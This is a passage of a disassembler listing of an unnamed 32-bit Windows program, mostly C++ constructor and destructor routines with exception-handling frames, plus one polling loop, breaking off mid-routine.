; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417120 proc near ; CODE XREF: sub_401938j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417120
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+179Fh]
mov [esp+14h+var_4], 3Ch
call sub_40208B
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_40208B
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_40208B
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_40208B
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_40208B
mov byte ptr [esp+14h+var_4], 37h
lea ecx, [esi+0E51h]
call sub_401023
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_401023
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_401023
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_401023
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_401023
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_401023
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_401023
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_401023
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_401023
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_401023
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_401023
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_401023
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_401023
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_401023
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_401023
lea ecx, [esi+0B9Fh]
mov byte ptr [esp+14h+var_4], 28h
call sub_401023
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_401023
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_401AE6
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_401AE6
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_401AE6
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_401AE6
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_401AE6
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_401AE6
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_401AE6
lea ecx, [esi+929h]
mov byte ptr [esp+14h+var_4], 1Fh
call sub_401AE6
lea ecx, [esi+8E0h]
mov byte ptr [esp+14h+var_4], 1Eh
call sub_401AE6
lea ecx, [esi+897h]
mov byte ptr [esp+14h+var_4], 1Dh
call sub_401AE6
mov byte ptr [esp+14h+var_4], 1Ch
lea ecx, [esi+84Eh]
call sub_401AE6
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_401AE6
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_401AE6
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_401AE6
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_401AE6
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_401AE6
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_401AE6
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_401AE6
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_401AE6
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_401AE6
lea ecx, [esi+574h]
mov byte ptr [esp+14h+var_4], 12h
call sub_401AE6
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_401AE6
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_401AE6
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_401AE6
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_401AE6
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_401AE6
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_401AE6
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_401AE6
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_401AE6
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_401AE6
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_401AE6
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_401AE6
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_401AE6
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_401AE6
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_401AE6
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_401AE6
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_401AE6
mov byte ptr [esp+14h+var_4], 1
lea ecx, [esi+9Bh]
call sub_401AE6
lea ecx, [esi+52h]
mov byte ptr [esp+14h+var_4], 0
call sub_401AE6
lea ecx, [esi+9]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401AE6
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417120 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417640 proc near ; CODE XREF: sub_4014FBj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417640
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0A3h]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417640 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4176E0 proc near ; CODE XREF: sub_401EA1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4176E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+118h]
mov [esp+14h+var_4], 5
call sub_401023
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4176E0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4177B0 proc near ; CODE XREF: sub_401235j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4177B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+8D0C0h]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8D092h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+8D064h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+8D036h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+8D008h]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4177B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417870 proc near ; CODE XREF: sub_402239j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417870
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0EAh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417870 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417930 proc near ; CODE XREF: sub_401ECEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417930
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0EAh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417930 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4179F0 proc near ; CODE XREF: sub_4018D9j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4179F0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4179F0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417A60 proc near ; CODE XREF: sub_4017DAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417A60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417A60 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417AD0 proc near ; CODE XREF: sub_401B3Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417AD0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417AD0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417B40 proc near ; CODE XREF: sub_401F46j
add ecx, 4
jmp sub_401023
sub_417B40 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417B60 proc near ; CODE XREF: sub_401113j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417B60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+60h]
mov [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417B60 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417BE0 proc near ; CODE XREF: sub_401E06j
add ecx, 4
jmp sub_401023
sub_417BE0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417C00 proc near ; CODE XREF: sub_402013j
add ecx, 4
jmp sub_401023
sub_417C00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417C20 proc near ; CODE XREF: sub_401F00j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417C20
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0BCh]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417C20 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417CC0 proc near ; CODE XREF: sub_401587j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_40142E
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0A3h]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F078
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417CC0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417D60 proc near ; CODE XREF: sub_40164Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417D60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401753
lea ecx, [esi+118h]
mov byte ptr [esp+14h+var_4], 5
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F07C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417D60 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417E30 proc near ; CODE XREF: sub_401780j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417E30
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+8D008h]
call sub_401753
lea ecx, [esi+8D036h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+8D064h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8D092h]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+8D0C0h]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F080
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417E30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417EF0 proc near ; CODE XREF: sub_40182Fj
push esi
mov esi, ecx
call sub_401E88
mov dword ptr [esi], offset off_43F050
mov eax, esi
pop esi
retn
sub_417EF0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417F20 proc near ; CODE XREF: sub_4016BDj
push esi
mov esi, ecx
call sub_401E88
mov dword ptr [esi], offset off_43F05C
mov eax, esi
pop esi
retn
sub_417F20 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417F50 proc near ; CODE XREF: sub_40141Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417F50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F084
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417F50 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418010 proc near ; CODE XREF: sub_401302j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418010
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F088
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418010 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4180D0 proc near ; CODE XREF: sub_401271j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4180D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F08C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4180D0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418150 proc near ; CODE XREF: sub_401D25j
push esi
mov esi, ecx
call sub_4011B3
mov dword ptr [esi], offset off_43F090
mov eax, esi
pop esi
retn
sub_418150 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418180 proc near ; CODE XREF: sub_4012FDj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418180
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F094
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418180 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418200 proc near ; CODE XREF: sub_401A91j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418200
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F098
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418200 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418280 proc near ; CODE XREF: sub_401285j
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
mov dword ptr [esi], offset off_43F09C
mov eax, esi
pop esi
retn
sub_418280 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4182B0 proc near ; CODE XREF: sub_401CB7j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4182B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F0A0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4182B0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418330 proc near ; CODE XREF: sub_40157Dj
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
mov dword ptr [esi], offset off_43F0A4
mov eax, esi
pop esi
retn
sub_418330 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418360 proc near ; CODE XREF: sub_401799j
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
mov dword ptr [esi], offset off_43F0A8
mov eax, esi
pop esi
retn
sub_418360 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418390 proc near ; CODE XREF: sub_401073j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418390
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F0AC
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418390 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418430 proc near ; CODE XREF: sub_401267j
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
push ebx
push ebp
mov ebp, dword_5118D8
push esi
mov esi, ecx
push edi
xor bl, bl
mov byte ptr [esi+9FD2Ch], 1
loc_418448: ; CODE XREF: sub_418430+E4j
test bl, bl
jnz loc_41851E
mov al, [esi+8EF74h]
test al, al
jnz short loc_41845E
mov bl, 1
jmp short loc_418472
; ---------------------------------------------------------------------------
loc_41845E: ; CODE XREF: sub_418430+28j
lea ecx, [esi+15Fh]
call sub_40186B
test al, al
setz bl
test bl, bl
jz short loc_418479
loc_418472: ; CODE XREF: sub_418430+2Cj
mov byte ptr [esi+9FD2Ch], 0
loc_418479: ; CODE XREF: sub_418430+40j
lea ecx, [esp+1Ch+var_C]
call sub_4020A4
lea edi, [esi+9FD83h]
lea eax, [esp+1Ch+var_4]
push eax
mov ecx, edi
call sub_401F69
mov ecx, [eax]
lea edx, [esp+1Ch+var_8]
mov [esp+1Ch+var_C], ecx
push edx
mov ecx, edi
call sub_401311
push eax
lea ecx, [esp+20h+var_C]
call sub_401703
test al, al
jz short loc_4184FE
loc_4184B4: ; CODE XREF: sub_418430+CCj
lea ecx, [esp+1Ch+var_C]
call sub_402234
mov ecx, [eax]
call sub_40174E
lea ecx, [esp+1Ch+var_C]
call sub_402234
mov eax, [eax]
test eax, eax
jz short loc_4184DB
mov edx, [eax]
push 1
mov ecx, eax
call dword ptr [edx]
loc_4184DB: ; CODE XREF: sub_418430+A1j
lea ecx, [esp+1Ch+var_C]
call sub_401361
lea eax, [esp+1Ch+var_8]
mov ecx, edi
push eax
call sub_401311
push eax
lea ecx, [esp+20h+var_C]
call sub_401703
test al, al
jnz short loc_4184B4
loc_4184FE: ; CODE XREF: sub_418430+82j
mov ecx, edi
call sub_4010B9
push 0FAh
call ebp
mov al, [esi+9FD2Ch]
test al, al
jnz loc_418448
test bl, bl
jz short loc_41852B
loc_41851E: ; CODE XREF: sub_418430+1Aj
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_41852B: ; CODE XREF: sub_418430+ECj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0Ch
retn
sub_418430 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418590 proc near ; CODE XREF: sub_401771j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_418590
push eax
mov large fs:0, esp
sub esp, 1A8h
push ebx
